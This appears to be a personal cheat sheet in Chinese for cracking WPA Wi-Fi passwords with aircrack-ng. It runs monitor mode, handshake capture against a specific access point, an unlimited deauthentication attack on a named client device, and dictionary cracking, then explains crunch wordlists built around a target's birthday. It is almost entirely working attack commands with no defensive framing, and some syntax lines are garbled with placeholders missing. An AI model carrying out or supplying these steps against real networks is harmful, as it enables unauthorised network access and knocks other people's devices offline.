sudo airmon-ng

sudo airmon-ng start wlan0

sudo airodump-ng wlan0mon

sudo airodump-ng -c 1 -w Desktop/handshake0413 --bssid 50:FA:84:46:EA:C0 wlan0mon

airodump-ng -c -w <抓取握手包的存放位置> --bssid <你的的monitor名称>

sudo aireplay-ng -0 0 -a 50:FA:84:46:EA:C0 -c 20:68:9D:1B:99:F3 wlan0mon

aireplay-ng -<***模式,解除认证***> [***次数,0为无限***] -a -c <客户端端的MAC地址> <你的monitor名称>

sudo airmon-ng stop wlan0mon

sudo aircrack-ng -w Desktop/wordlist.txt Desktop/handshake0413.cap


用crunch来制作字典

  • 安装crunch sudo apt-get install crunch
  • 使用语法 crunch max -t -o

例如,如果您知道目标的生日是0728(7月28日),并且认为他们以自己的密码包含他们生日,则可以生成一个以0728为结尾的密码列表,方法为@@@@@@@0728。 该字最多可生成11个字符(7个变量和4个固定)密码,然后全部都以0728结尾。

= 最小密码长度。
= 最大密码长度。
= 用于生成密码的字符集。
= 生成的密码的指定模式。
= 保存字典文件的路径。

注: pattern中可以使用的特殊标记字符(ex.3)
[%]插入数字
[@] 插入小写字母
[,] 插入大写字母
[^] 插入符号